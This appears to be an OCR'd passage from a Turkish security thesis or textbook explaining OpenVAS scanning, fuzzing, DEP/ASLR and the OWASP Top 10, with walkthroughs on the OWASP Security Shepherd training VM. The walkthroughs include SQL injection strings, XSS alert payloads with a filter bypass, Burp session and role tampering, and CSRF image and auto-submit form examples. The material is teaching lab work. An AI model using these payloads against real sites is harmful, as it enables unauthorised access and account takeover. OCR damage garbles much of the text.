10.000 20000
D 40,000
g 30,000
4.000 20,000
2,000 10,000
T T I- T T T +0
1990 1995 2000 2005 2010 2015
Backend operation: 0.08s

Sekil 4.29: Openvas dashboard.

J b Greenbone Security A.. x ,~+

5-9923-94

% @PI hi:pi":‘Lo(a\.host9392"(:\‘”]?(\‘1(\=(_\e:,re|](:r{&re|](:r:,\d=’ﬁ7:'~ -ea2d-4 & | ¢ ||Q Search wBa 3+ &

Offensive Securii Kali Linux Kali Docs Kali Tools . Exploit-DB Aircrack-ng g Kali Forums NetHunter {5 Most Visited~ Getting Started
B g 9

Greenbone No auto-refresh - Logged in as Admin yasir | Logout "
Security Assistant Mon Mar 19 08:02:47 2018 UTC
Dashboard Scans Assets SecInfo Configuration Extras Administration Help
@ | Anonymous XML ~ ¥ & Filter: [S]x]7]~] %
1D 875852b6-ea2d-4f35-9923-946ac62a75cd
Modified: Mon Mar 19 07:57:51 2018
o d Report: Results (3 of 28) Created: Mon Mar 19 06:36:37 2018

Owner:_yasir

i T
e

Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389) 95%  192.168.164.141 445/tcp

DCE/RPC and MSRPC Services Enumeration Reporting = 80% 192.168.164.141 135/tcp

TCP timestamps = 80% 192.168.164.141 general/tcp

ed filter:autol

0 apply_os

on: 0.31s

Sekil 4.30: Openvas 6rnek tarama.
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Uygulamanin kaynak kodu varsa, kaynak kod analizi yani kodlarin incelemesi
mevcut hatalar1 tanimlamanin en basit yoludur. Uygulama ag¢ik kaynak degilse yani
kaynak kodlarina erisim yok ise, hatalar1 bulmak igin tersine miihendislik teknikleri
kullanilabilir ya da fuzzing yapilabilir. Modern isletim sistemleri hem kullanict hem
de ¢ekirdek alan kodunu, y1gin tagmalari [56], tamsay1 tagsmalar1 [57] ve evrensel kod
tagmalar1 [58] gibi giivenlik agiklarindan yararlanan bellek bozulma saldirilarina karsi

korumak i¢in ¢ok ¢esitli yontemler kullanir.
4.5.1 Fuzzing

Fuzzing, hatali bicimlendirilmis verileri uygulama girdisine géondermeyi ve
beklenmedik ¢okmeleri izlemeyi igerir. Beklenmeyen bir ¢okme, uygulamanin belirli
girdileri dogru sekilde filtreleyemedigini gosterir. Programda ¢cokme yasanmasi,
kullanilabilir bir giivenlik a¢igini kesfetmeye neden olabilir. Rastgele veri gondererek
¢okme yapmayi saglama islemine fuzzing (fuzz testing), ¢6kmeleri yapmak iizere
otomatize  bir sekilde veri gondermeyi yapmaya yarayan araglara

ise “fuzzer” denilmektedir.
4.5.1.1 DEP ve ASLR

DEP, koétii amagli kodun bir sistemde ¢alismasini engellemeye yardimer olmak
icin bellekte ek kontroller gergeklestiren bir donanim ve yazilim kiimesidir. DEP'nin
birincil yarari, yiiriitme gergeklestiginde bir istisnayi artirarak veri sayfalarindan kod
yiiriitiilmesini engellemeye yardime1 olmaktir. ASLR, Isletim sisteminin her agilisinda
yiiklenen uygulamalarin ve DLL'lerin temel adreslerini rastgele hale getirir [59] [60].
Daha o6zellikli olarak, 6rnegin kod, y18in ve y1gin gibi 6nemli bellek yapilarinin temel
adresinin rastgele olmasini saglar [61]. Ttiim biiyiik modern isletim sistemleri ASLR'yi
uygulamaktadir. Ornegin, Windows bu teknigi hem kullanici hem de cekirdek

alaninda Vista'dan beri uygular [62].
4.6 Web Uygulama Saldirilar:

Web uygulama saldirilarinda diinyada otorite olarak kabul edilen OWASP (The
Open Web Application Security Project) [63], belli donemlerde agikladigi en kritik

web uygulama zafiyetlerinin listesini 2017’nin son ¢eyreginde yayinladi. Bu
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siralamaya gore 2013 yilindan 2017 yilina gelindiginde, en kritik olarak goriilen bazi
web saldirt vektorlerinin degismis durumda oldugu gozlemlendi. Bu bolimde Sekil
4.31°de belirtilen OWASP top 10 ‘da bulunan kritik saldir1 vektorlerine deginilecektir.
Web Atak vektorleri ve web gilivenlik agikliklar1 {izerine raporlar yazan diger
otoritelerden Acunetix [64] ve Whitehatsec [65] raporlarina da erigsim yaparak daha
detayli bilgiler elde edilebilir.

OWASP c¢alisanlar1 web saldirilariyla ilgilenenler i¢in i¢erisinde ¢ok sayida web
acikliklarinin  bulundugu ve zorluk seviyesi giderek artan bir sanal makine
hazirlamistir. Isteyen herkes bu sanal makineye erisim yapabilir ve iicretsizdir. Web
sizma testlerini 6grenmek ve bu alanda gelismek isteyenler i¢in [66] linkinden erigim
yapip sanal makineyi olarak kurulabilirler. Sekil 4.31°de sunulmus tiim aciklik adlar

owaspSecurityShepherdVm_V3.0 [66] ‘den yararlanarak agiklanacaktir.

OWASP Top 10 - 2013

A1 = Injection

OWASP Top 10 - 2017

A1:2017-Injection
A2 — Broken Authentication and Session Management A2:2017-Broken Authentication
A3 - Cross-Site Scripting (XSS) A3:2017-Sensitive Data Exposure
A4 — Insecure Direct Object References [Merged+A7] A4:2017-XML External Entities (XXE) [NEW]
A5 — Security Misconfiguration A5:2017-Broken Access Control [Merged)]
A6 — Sensitive Data Exposure AB:2017-Security Misconfiguration
A7 — Missing Function Level Access Contr [Merged+A4] A7:2017-Cross-Site Scripting (XSS)
AB - Cross-Site Request Forgery (CSRF) AB:2017-Insecure Deserialization [NEW, Community]

A9 = Using Components with Known Vulnerabilities A9:2017-Using Components with Known Vulnerabilities

H@Hcszczwww

A10 - Unvalidated Redirects and Forwards A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]

Sekil 4.31: OWASP en kritik web agilik siralamas1 2013 — 2017.

4.6.1 SQL Enjeksiyonu

SQL Injection kullanicidan gelen verinin herhangi bir denetimden ge¢meden
dogrudan veri tabaninda ¢alistirilmasiyla olusan bir acikliktir. SQL, NoSQL, OS ve
LDAP enjeksiyonu gibi enjeksiyon zafiyetleri, kullanici tarafindan alinan verinin
yorumlayiciya komut ya da sorgunun bir pargasi olarak gonderilmesi durumunda

olusmaktadir. Saldirganin  zafiyetleri somiirmek adina gonderdigi veriler
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yorumlayicinin istenmeyen komutlari ¢alistirmasina veya veriyi degistirmesine sebep
olur.

Sekil 4.33’te goriildiigii lizere SQL enjeksiyonu yapmak i¢in mevcut form
tizerinde en bilindik enjeksiyon kontrol komutu olan © (tek tirnak) kullanilmistir ve
veri tabanindan yapilan sorguda hata gézlemlenmistir. Bu hata incelendiginde MySQL
sunucusu olarak yapilandirilmis bir veri tabaninda dogru karakter girilmedigi
anlasilmistir. Sekil 4.34’te MySQL veritabanina uygun bir SQL enjeksiyon kodu
hazirlayip sorgu yapildiginda veri tabanindaki kullanicilarin tiimiine erisimin oldugu

gorilmiustir.

& C | A Givenli degil | https//192.168.164.144/lo A e @ :

Security Shepherd

Login

Use your Se

erd Credentials to Login.

Usemname:

[ Password:

Sekil 4.32: OWASP web arayiizii.

Please enter the user name of the user that you want to
look up

Get this user

Search Results

An error was detected!

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the man

ual that corresponds to your MySQL server version for the right syntax to use near "™ at line 1

Sekil 4.33: SQL enjeksiyonu igin kontrol denemesi.
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Please enter the user name of the user that you want to
look up

'OR'"1'="1"#

Would you link a hint?

Search Results

User ld User Name Comment
12345 user Try Adding some SQL Code
Your Close, You need to escape the string with an apost
raphe so that your code is interpreted
12543 Fred Mtenzi A lecturer in DIT Kevin Street
14232 Mark Denihan This guy wrote this application
61523 Cloud Has a Big Sword
Lesson Completed. The result key is|3¢c17f6bf34080979

82642 qw!dshs@ab eOcebdab672e989c07ceecOfadee7b7c17c9e3ce26bct3
e0

12346 OR 1 =1

Sekil 4.34: Dogru SQL enjeksiyon sonrasinda veritabaninin goriintiilenmesi.

‘OR ‘1’ =’1" # dongiisii sorgulandiginda, veritabaninda filtrelenmemis igerik
oldugundan sorgu calismistir. *OR ‘I’ = ‘I’ # ifadesindeki en 6nemli nokta ise “# “
dir, MySQL veri taban1 sorgusu ” # “den sonrasini yorumlamayacagi i¢in komutun
kesme noktast “ # “ (diyez)’dir. Komut calistirlldiginda veri tabanina erigim

yapilmaktadir.

4.6.2 Kirik Kimlik Dogrulama ve Oturum Yo6netimi

Bu zafiyet kimlik dogrulama ya da oturum yonetimi ile ilgili fonksiyonlarin
yanlis uygulanmasi sonucunda ortaya ¢ikmaktadir. Saldirganlar oturumlardan parola
ve oturum jetonlar1 yani ¢erezleri (cookie) ele gegirirler. Genellikle kaba kuvvet
saldiris1 ile kimlikler agiga ¢ikmaktadir. Saldirganlarin hedefleri ¢ogunlukla basit
parola kullanan kullanicilardir.

Sekil 4.36°da 1, 2 ve 3 ile gosterilen kisimlarin agiklamalar1 agagidadir:

1- Kirik kimlik dogrulama saldirisinda sunucudan istekte bulunduktan sonra

“burp” programinin araya girmesiyle donecek cevabin beklenme ani

2- “Burp” aracinda “Intercept is on” istekte bulunan istemcinin sunucuyla

arasina girdiginin gostergesi

3- Oturum bilgisinde dénen parametre degerinin “lessonNotComplete” olarak

gorlintiilenmesi
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y S OWASP Security She.. % ‘+
€ O | ht
[l Offensive Security e, Kali Linux “ Kali Docs ", Kali Tools ‘. Exploit-DB Wy Aircrack-ng e Kali Forums % NetHunter

92.168.164.144/indexjsp =] ) Search

Most Visitedv @ Getting Started

Admin Submit Result Key Here Submit
Scoreboard What is Broken Authentication and Session Management]

Cheat ?

Lessons Show Lesson Introduction

This lesson implements bad session management. Investigate the following function to see if you trick
the server into thinking you have already completed this lesson to retrieve the result key.

Xeroken Crypto
I/Bmker\ Session Complete This Lesson

Management
W riliant Cirla Ininctinn

Burp Suite Free Edition v1.7.27 - Temporary Project

Burp Intruder Repeater Window Help

[ Target [ proxy | spider | scanner | intruder | Repeater | sequencer{ Decoder | Comparer | Extender | Project options | User options | Alerts |

J Intercept T HTTP history Iwebsuckets history T Options ‘
-

Intercept

off |

Raw Params Headers Hex

Sekil 4.35: OWASP kimlik dogrulama alistirmasinda “Burp” ile araya girme.

| 'S OWASP Security She... % | +
€ ) @& |ht

FlOffensive Security % Kali Linux "% Kali Docs " Kali Tools ‘. Exploit-DB Wy Aircrack-ng & Kali Forums "% NetHunter [ Most Visitedv @ Getting Started

/192.168.164.144/Index jsp [k 3 Search ]

Admin Submit Result Key Here Submit
Ssoiekoard What is Broken Authentication and Session Management

Cheat ?

Lessons Show Lesson Intreduction

This lesson implements bad session management. Investigate the following function to see if you trick
the server into thinking you have already completed this lesson to retrieve the result key.
Xeroken Crypto

v aroken session
Loading...

Management

Xclient Side Injection

Xcontent Provider Leakage
Burp Suite Free Edition v1.7.27 - Temporary Project

Burp Intruder Repeater Window Help

[Target Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project optians | User aptions | Alerts |

J | HTTP history | WebSockets history | Optians |

(&4} £} Request to https://192.168.164.144:: 2
[ Fowad | Drop Interce i Action |

Raw | Params THeaders THex
B

Sekil 4.36: “Burp” ile araya girildikten sonra oturum bilgilerinin elde edilmesi.
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| S OWASP Security She... x | +
€ ) D& | ht

/192.168.164.144/index.jsp 1| c Search

[l Offensive Security S Kali Linux ", Kali Docs % Kali Tools ‘e Exploit-DB W Aircrack-ng ", Kali Forums Sy NetHunter fi5Most Visitedv @ Getting Started

lmah \ )

Admin Submit Result Key Here... Submit
SEOREREETE What is Broken Authentication and Session Management

Cheat ?

Lessons Show Lesson Introduction

This lesson implements bad session management. Investigate the following function to see if you trick
the server into thinking you have already completed this lesson to retrieve the result key.
Xgroken Crypto
 Broken Session
Management Loading...
Xclient side Injection
Xcontent Provider Leakage

Xcross site Request Forgery

BUrp Intruder Repeater Window Help

[Target Spider Tscanner Tlnlrudsr I Repeater T Seguencer TDscudsr Tcﬂmparer T Extender I Project options T User options TAIsns ]

j I HTTP history Twabsnckets history T Options }

|#] O Request to https:/7192.168.164.144:443
Forward ‘\2' Drop J [ interceptison | | Action

— L
Raw | Params THeadsrs Tst }

beclsefdlaiccssd

o IONT

i JSESSIONID3="/zL:

Sekil 4.37: “Burp” ile araya girdikten sonra sunucuya kimligi degistirilmis oturum génderilmesi.

y S OWASP Security She.. % T

€ @& |n 192.168.164.144/index.jsp

Search

M Offensive Security " Kali Linux &, Kali Docs s Kali Tools . Exploit-DB W Aircrack-ng S\ Kali Forums “\ NetHunter

Admin Submit Result Key Here... Submit
Scoreboard What is Broken Authentication and Session Management

Cheat ?

Lessons Show Lessen Introduction

This lesson implements bad session management. Investigate the following function to see if you trick
the server into thinking you have already completed this lesson to retrieve the result key.
XBgroken Crypto

v Broken session Complete This Lesson

Management

Xclient side Injection Lesson Complete

Xcontent Provider Leakage

Congratulations, you have bypassed this lessons VERY WEAK session management. The result key for
Xcross site Request Forgery
his lesson is

v/ Cross site scripting
aoPS1XyePnkL2jnEuRUMINBhMLO575TqxaFYRn7Xp73alDPEqZTFATSS

Vi
Failure to Restrict URL |2n9EvyuzMevg|VDp53fgnbuEG8t3g==

Access
ya Copy to clipboard

Burp Suite Free Edition v1.7.27 - Temporary Project
Burp Intruder Repeater Window Help

[ Target spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

J | HTTP history | websockets history | options |

|.#] Request to http://detectportal firefox.com:80 [195.175.115.41]

| Forward || Drop | | Interceptison | | Action

Raw | Headers | Hex |

Sekil 4.38: “Kirik Kimlik Dogrulama” isleminin oturum yapilandirma hatasindan somiiriilmesi.
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Sekil 4.37°de 1 ve 2 ile isaretlenen alanlar soyledir:

1- “lessonNotComplete” parametresinin araya giren saldirgan tarafindan
“lessonComplete” olarak diizeltilmesi

2- Saldirgan tarafindan degistirilen parametrenin sunucuya gonderilip

sunucunun donecegi cevabin istemcide goziilkmesi
4.6.3 Duyarh Veri Pozlama

Bircok web uygulamasi ve API (Application Programming Interface), saglik
hizmetleri finansal hizmetler ve kisisel bilgiler gibi hassas verileri dogru sekilde
korumamaktadir. Saldirganlar, verilerin dogru saklanmamasindan dolay: kredi karti
sahtekarligi, kimlik hirsizligi, firma bilgileri, parolalar ve diger suglari islemek i¢in
korumasi zayif olan verileri ¢alabilir veya degistirebilir. Hassas veriler, oturumdan
cikilmadiginda veya oturum acildiginda sifreleme gibi ekstra koruma dnlemlerinin
olmadig1 zamanlarda tehlikeye girerler. Bu zafiyeti kullanan saldirganlar verilerin
sifrelenmemesi, sifrelenmis olan verilerde ise varsayilan parolalarin kullanilmig
olmasi1 veya verilerde algoritmasi kirilmis olan sifreleme algoritmalarinin kullanilmis
olmasindan yararlanirlar.

Http, ftp, smtp gibi acik metin halinde verilerin iletimini saglayan protokoller
yerine, iletisimde sifreli haberlesme yapan protokoller kullanilmalidir. “Secure”
kelimesinin kisaltilmig hali olan “s” harfinin giivensiz olarak bahsedilen protokollerin
ontinde olmasina ve bu protokolleri (https, sftp vb.) kullanarak iletisim kurmasina
dikkat edilmelidir. Varsayilan olarak gelen biitiin parolalar degistirilmeli ve karmagik
parola kullanilmalidir. Sifreleme algoritmalarindan kirilmis olanlar kesinlikle

kullanilmamalidir. Veriler her zaman i¢in sifrelenerek kaydedilmelidir.
4.6.4 XML D1s Varhklan (XXE)

2017 yilinda OWASP’n ilk 10 siralamasina 4. siradan giren bu agiklik, eski ya
da yanlis yapilandirmasi bulunan XML yorumlayicilar tarafindan kaynaklanmaktadir.
Saldirganlar web sunucusuna zararl bir “xml” dosyas1 gondererek sunucuda birgok
islem yapabilir. Ornek olarak kod vyiiriitebilir, dosyalar1 gériintiileyip okuma yapabilir
veya servisleri devre dis1 birakabilir. Bu saldir1 tipinin engellenmesi igin OWASP’1n

Onerisi, daha az karmasik olan “JSON” formatinin kullanilmasi, “XML” ile ilgili
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kiitiphanelerin giincel tutulmasi, XML External Entity 6zelliginin kapatilmasi ve

sunucu tarafinda “whilelisting” kontroliiniin yapilmasidir.
4.6.5 Kirilmis Erisim Kontrolii

Bu zafiyet kullanicilarin yetkilendirmelerinin dogru yapilandirilmamast, rollerin
ya da Ozelliklerin diizgiin olarak tanimlanmamasindan kaynaklanmaktadir.
Saldirganlar izni olmayan dosyalara erigebilir, yetkisi olmayan islemler yapabilir ve
yetkilerle oynayabilir. Bu saldir1 tipi i¢in 6rnek olarak:

http://example.com/user.php?u=userl

Yukarida example.com sitesine userl kullanicisiyla girmis ve userl bilgilerini
goren bir kullanici olsun, “U” parametresi eger degistirilirse yani

http://example.com/user.php?u=user2 artik saldirgan kisi userl olarak erisim
yaptig1 dogrulamayla user2 verilerini de gorecektir. Bu sekilde yetkili bagka bir kisinin
yetkileriyle de istedigi her seyi yapabilecektir. Farkli bir 6rnek ise “burp” araciyla

araya girerek yapilabilir.

/'S OWASP Security She... x | +
€ @&, | https//192.168.164.144/index jsp D@ c ||Q Search B & & =

I Offensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools ‘e.Exploit-DB Wy Aircrack-ng "\ Kali Forums "\ NetHunter f5Most Visitedv @ Getting Started
r G e U L R L e ] T W I, T

Admin [ submit Resuit Key Here [ submit |
Scoreboard ‘ Session Management Challenge One [

Cheat only of the following sub-application can retrieve the result key.

Lessons

-— . [ Baces4 Decode and Enc. X
1 Loading... —
Challenges &« i | https://www.base64decode.org r
B

CSRF

AXNICUVDGUIIXNIcg:

Failure to Restrict URL Access

Burp Suite Free Edition v1.7.27 - Temporary|

Burp Intruder Repeater Window Help

Target [ 201 | spider | scanner | intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User option:

J0eeant | HTTP history | websockets history | Options |

w £ Request to https://192.168.164.144:443

Forward Drop Intercept is on Action

s | Headers | Hex

userRole=user

Sekil 4.39: Burp ile araya girerek kimlik bilgisi kirma.
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Bunun i¢in Sekil 4.39°da da gosterilen islemler asagidaki sekilde
uygulanmalidir:

1- Uygulama agilir

2- “burp” ile araya girilir

3- Oturum bilgilerine bakildiginda dogrulama o6zet bilgisinin “base64”

sifreleme seklinde 6zetlendigi gdzlenmektedir.

4- Ozet degeri kirilmak iizere “x64 decoder” a gonderilir

5- Hash degeri “userRole=user ” olarak tespit edilmistir.

Son asama olarak userRole=Administrator olarak decode edilir ve 3 nolu yere
Ozet bilgisi yazilarak ‘“forward” edilir. “Forward” isleminin ardindan erisimin

“Administrator” haklariyla saglanmis oldugu gosterilmistir.
4.6.6 Giivenlik Yapilandirmasinin Eksikligi

Servis ayarlarinin yanlis ya da eksik yapilandirilmasi, varsayilan olarak hesap ve
ayarlarin tutulmasi, giincelleme yapilmamasi, sistemlerin denetlenmemesi bu saldiri

tipini agiga ¢ikartmaktadir.
4.6.7 Siteler Aras1 Komut Dosyasi (XSS)

Kullanicidan alinan girdilerin kontrol edilmeden, filtrelenmeden “html” yanit
olarak gonderilmesiyle olusur. Saldirganlar, kullanici tarayicilarinda “script”
calistirarak kullanicilara bir¢ok zarar verebilir. “XSS” saldiris1 yapan kisinin zararl
kodlar1 enjekte edebilmesi gerekmektedir. Bu saldir1 kesinlikle sunucuya degil
kullanicrya kars1 yapilir. Reflected XSS, Stored XSS ve DOM XSS olmak iizere 3 gesit
saldir1 tipi vardir.

Reflected XSS: Kullanicidan alinan girdinin html yanit olarak eklenip tarayicida
betik olarak calisabilmesidir. Bu XSS saldiris1 yansitmali bir saldir tiirii oldugu i¢in
XSS betigi sunucu tarafinda kayit edilmez. Yansitmali XSS genel olarak zararh
link’lere tiklamayla olur. Ornek olarak;

http://example.com/homepage.php?ad=<ScRipt>alert(“Reflected
XS8S7”);</ScriPT>

Stored XSS: Bu saldin tiirlinde zararli kod, sunucu tarafindan kayit altina

alinmaktadir. Zararl kodun yiiklendigi sayfa her acildiginda betik ¢aligmaktadir. Bu
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saldir tiirti yansitmali XSS’den daha fazla etkin olabilmektedir. Yansitmali XSS’de
link’e tiklayan kullanici zarar gériirken bu saldiri tipinde sayfaya giren herkes link’e
tiklamadan zarar gormektedir.

DOM XSS: DOM(Document Object Model) nesneleri lizerinde ¢alisan
betiklerdir. Tarayici iizerinde zararh betiklerin calismasina neden olur. Ornek olarak;

http://example.com/homepage.php?ad=<ScRipt>alert(“dom
XSS7);</ScriPT>

XSS, siklikla karsilasilan bir zafiyettir. Kontrol edilmeyen bir girdi (input),
biitiin uygulamanin ele gegirilmesine neden olabilir. XSS Cross Site Scripting olarak
bilinen web uygulamalarinda mevcut olan ¢ok yaygin bir agikliktir. XSS atak yapan
kiginin zararli kodlarin1 enjeksiyon (inject) etmesine dayanir. Bu saldir1 tiiriinde
saldirgan web uygulama sunucusuna veya veri tabani sunucusuna saldirida bulunmaz,

saldirt kullanicilara yoneliktir.

S OWASP Securty She... x | + <+
€ DR | hiips //192.168.164.144/Index D@ c | Q Seach B & & P4, 164/t oe ¢ |
ax "\ Kall Docs "\ Kali Tools s Explot-D8 W Aircrack-ng \ Kali Forums '\ NetHunter 83|

MOrttensive Security "\ Kall Linux "\ Kall Docs "\ Kali Tools ‘s Exploit-DB WyAircrack-ng "\ Kall Forums "\ NetHunter ) Most Visited v
Ll el i TN n K LR R TS
Admin Submit Result Key Here Submit
Scoreboard [ What is Cross Site Scripting (XSS)?
Cheat Cross-Site Scripting, or XSS, issues occur when an application uses untrusted data in a web browser with S T
out sufficient validation or escaping. If untrusted data contains a client side script. the browser will exec 8 sin
Lessons ute the script while it is interpreting the page.

Attackers can use XSS attacks to execute scripts in a victim's browser which can hijack user sessions, de
face web sites, or redirect the user to malicious sites. Anyone that can send data to the system, includin
9 are possible for XSS attacks in an

Xsroken Crypto

According to OWASP, XSS is the most found in web today. This is p
artially due to the variety of attack vectors that are available. The easiest way of showing an XSS attack
executing is using a simple alert box as a client side script pay load. To execute a XSS payload. a variety
of an attack vectors may be necessary to overcome insufficient escaping or validation. The following are
examples of some known attack vectors, that all create the same alert pop up that reads “XSS*.

<SCRIPT>alert('X55') </SCRIPT>
<IMG SRC="#" ONERROR="
<INPUT TYPE="BUTTON" ON
<IFRAME SRC="javascript:ale

Hide Lesson Introduction

The following search box outputs untrusted data without any validation or escaping. Get an alert box to
execute through this function to show that there is an XSS vulnerability present. "’ —_ _—

Please enter the Search Term that you want to lo

[ﬂ( _ D
Get This User

Sekil 4.40: “XSS” saldirt vektori, “JavaScript” ile tarayicida alarm iiretme.

Sekil 4.40’da 1 nolu kisma javascript yazilip gonderildiginde ekranda 2 numarali
pencere acilacaktir. Yani XSS ac¢igindan yararlanilarak saldir1 basarili bir sekilde
yerine getirilecektir.

Cogu zaman <script>alert(“XSS”)</script> ¢alismayacaktir bunun sebebi
girdi kontroliiniin yapiliyor olmasidir. Bu zamanlarda girdi kontroliinii atlatmak adina

bazi islemler yapmak gerekmektedir. OWASP 1n “Challenges” sekmesinde 6 adet XSS
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saldir

alistirmast  bulunmaktadir. Bu alistirmalar giderek zorlasan Ornekler

icermektedir. Ornek olarak girdi kontroliiniin yapildig1 yeri atlamak icin

<SCripT>alert(“XSS”)</sCRiPT> seklinde biiyiik kiiclik harf degisikligi yapilabilir.

4.6.8 Giivensiz Serilestirme

Bu saldir1 kullanici tarafindan gelen girdilerin “deserialization” ‘u sonrasinda

olusmaktadir.

Serilestirme asagidaki uygulamalarda kullanilabilir:

1.

2
3
4.
5

Uzaktan ve siirecler arasi iletisim (RPC / IPC)

. Tel protokolleri, web servisleri, mesaj brokerleri
. Onbellege Alma / Kalicilik

Veri tabanlari, dnbellek sunuculari, dosya sistemleri

. HTTP cookies, HTML form degiskenleri, API kimlik dogrulama biletleri

[67]

4.6.9 Bilinen Giivenlik Aciklar1 Olan Bilesenleri Kullanma

Bu zafiyet tiirii “exploit” edilebilen servislerin, uygulamalarin, eklentilerin veya

eski slirim barindiran sistemleri kullanilmasi sonucu olusur. Saldirganlar giincel

olmayan ve “exploit”’i yaymlanmig bir sistem bulduklarinda “exploit” kullanip

uygulamay1 veya sunucuyu ele gegirebilirler.

Onlemler:

a) Kullanilmakta olan sunucunun isletim sistemini ve yine sunucu iizerinde
kurulmus olan yazilimlar1 giincel tutmak,

b) Kullanilmayan servisleri kaldirmak,

€) Yeni tammlanmig zafiyetleri kontrol edip, zafiyetler uygun yamalarin

sistemlere yliklenmesi gerekmektedir.

4.6.10 Yetersiz Kayit ve izleme

Yeterli kayit (log) ve izleme islemini yapmamak, tiim sistemlerde oldugu gibi

web sunuculart igin de biiyiik tehdit olusturmaktadir. OWASP 2017 raporuna 10.sirada

giren bu madde, sistem yoneticilerinin sisteme tarafindan gonderilen kayitlart ve kritik

alarmlar1 yeterince takip etmedigini gostermektedir.
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4.6.11 Siteler Arasi Sahte Talep (CSRF)

Siteler Arasi1 Talep Sahtekarligi (CSRF), son kullanicinin anlik olarak
dogrulanmis oldugu bir web uygulamasinda, istenmeyen eylemleri yiirlitmesine
zorlayan bir saldirnidir. Sosyal miihendisligin kii¢iik bir yardimiyla (e-posta veya
sohbet yoluyla bir baglant1 gondermek gibi), saldirgan bir web uygulama kullanicisini,
saldirganin segtigi eylemleri gergeklestirmek tizere kandirir. Kurban normal bir
kullanici ise, basarili bir CSRF saldirisi, kullaniciyr fon transferi, e-posta adresini
degistirme ve benzeri gibi durum degisikligi taleplerini yerine getirmeye zorlayabilir.
Kurban yonetici bir hesap ise, CSRF tiim web uygulamasini tehlikeye atabilir.

Sekil 4.41°de 1 nolu boliimde bir HTML “img” dgesine yerlestirilmis bir istek
goriilmektedir. “img” elementi sayfa yliklendiginde otomatik olarak src
Ozniteligindeki kaynak adrese istekte bulunacaktir. 2 nolu boliimde “exampleld”
numaralt kullanicinin bir dersi tamamladiginin yonetici tarafindan onaylanmasi
stirecini baglatan GET istegi bulunmaktadir. 3 nolu béliimde bu parametrenin saldirgan
tarafindan elle hazirlanan linkte saldirgan kullanicti numarasiyla degistirilmesi
gosterilmektedir. 4. ve son boliimde saldirganin elle hazirlanmis baglantiyr web
sitesindeki mesaj kutusu araciligiyla yoneticiye gondermesi ele alinmistir. Boylece
yonetici mesaji okudugunda “img” elementi kaynak adresine istekte bulunacak, ancak

istek yonetici tarafindan yapilacak ve sunucuda islenecektir.

4.7 Sifre Ataklan

Siber giivenlikte kimlik dogrulamasi yaparken kullanilan en temel giivenlik
yontemi parola kullanmaktir. Bir dosya sifrelenirken veya bir sistemde oturum
acilirken genelde tek dogrulama mekanizmasi olarak parola kullanilmaktadir.
Gilinlimiiz bilgisayarlarinin islem yapabilme yetenegi giin gegtikce arttigindan dolay1
giiclii parola kavrami da her gecen giin degismektedir. Kullanilan parolanin en basit
sekilde ne kadar siirede kirilabilecegini gérmek adina Kaspersky’in sitesinden [68]
yararlanilabilir (Sekil 4.42).
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A Cross-Site Request Forgery, or CSRF, attack forces a user's browser to send a forged HTTP request wit
h the user's session cookie to an application, tricking the user into unknowingly interacting with an applic
ation that they are currently logged into. CSRF attacks are possible when the application does not ensure
that a user is in fact interacting with it. The severity of a CSRF attack varies with the functionality of the
application the victim is tricked into interacting with. If the attack is aimed at an administrator, the sever
ity will be a lot higher than those aimed at a guest user.

To prevent CSRF attacks, every request must contain a nonce token (an unpredictable number) to be incl
uded with every request. To find CSRF vulnerabilities in applications, this is the token that is tested. ifar
equest does not contain a nonce at all, then it is likely vulnerable to CSRF attacks. If a request does cont
ain a nonce, then there are more steps to include in testing for CSRF. Even though the nonce is in the req
uest it may not be validated or may work with a null value. It is possible that the application's nonce man
agement will allow an attacker to use their valid nonce in other user requests!

HTTP requests can be sent using JavaScript. Requests that are sent this way include an "X-Requested-wit

h" HTTP header. If this is checked for on incoming requests, this can serve as CSRF protection without a n
once value. This header cannot be replicated from a remote domain. due to the Same Origin Policy. preve
nting an attacker from delivering the attack remotely. It is not advised to use this as a sole CSRF protecti
on model, as browser issues are commonly found that allow attackers to send cross-domain requests fro

m a browser.

CSRF attacks can be performed on GET and POST HTTP requests. To force a victim to seamlessly submit
a request in a GET request, the request (highlighted) can be embedded into an image tag on a web page

such as foljpws:
<img src=[http:/jwww.secureBank iE;i;EndMnnEy’gquMDnEyTﬂ:hatker&gweAmDunt:1000"])

To force a victim to send a POST request, it requires a little more effort. The easiest way is to create a fo
rm that automatically submits using Javascript. such as the following example;

<form name="csrfForm" action="http://www.secureBank.ie/sendMoney" method="POST">

<input type="hidden" name="giveMoneyTo" value="hacker" f>

<input type="hidden" name="giveAmount" value="1000" />

<input type="submit"/>

<fform=

<script>

document. csrfForm.submit();

</script>

| Hide CSRF Introduction

The functlon used by an admmlstrator to mark this lesson as complete for a user is initiated by the follow
ET ‘exampleld' is a valid userld;

alor a message with a image URL, that will show in an embed

Challenges

Search Modules...

ded <|mgb tag that WI|| for it the request described above, replacing the exampleld attri
bute with your temp userld| 890229868

Contact Admin

Please enter the URL of the image that you want
to send to one of Security Shepherds 24 hour ad
ministrators.

w.secureBank.iefroot/grantComplete/csrLesson?use l |

i Seng Message I]

Well Done

The administrator received your message and submitted the GET request embedded in it's image

The result key for this lesson is

Obere+8My+prGf0RbkkNa1YJstVOwagAIInHJER+EoOlZPBGhNyEH | B |

N A=Y PPy PPN

Message Sent

Sent To: administrator@SecurityShepherd.com
Message:

Sekil 4.41: “CSRF” agikligiyla OWASP aligtirmasi.
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& AO Kaspersky Lab [RU]| | https://password.kaspersky.com/tr/

Turkish -

KASPER{KY3

SECURE PASSWORD CHECK

A Asla gercek parolanizi girmeyin

Bu servis sadece egitim amachdir. Kaspersky Lab parolanizi kaydetmez.

Test your password n

KASPERYKY#S

© 2018 AO Kaspersky Lab. All Rights Reserved.

Sekil 4.42: Parolanin ne derece zor oldugunu test etmek igin bir site.

4.7.1 Kaba Kuvvet Saldiris1 Hazirlama

Kaba kuvvet saldirisi demek saldir1 yapilacak sistemde kullanici adi ve
parolalarin siirekli olarak denenmesi anlamina gelmektedir. Bu saldir1 tiiriinii manuel
olarak yapmak da miimkiindiir fakat zamandan tasarruf etme adina, denemeleri
otomatik yapabilecek betikler yardimiyla veya agik kaynak olarak ticretsiz bir sekilde

sistemlere kurulabilen araglar yardimiyla da yapmak miimkiindiir.

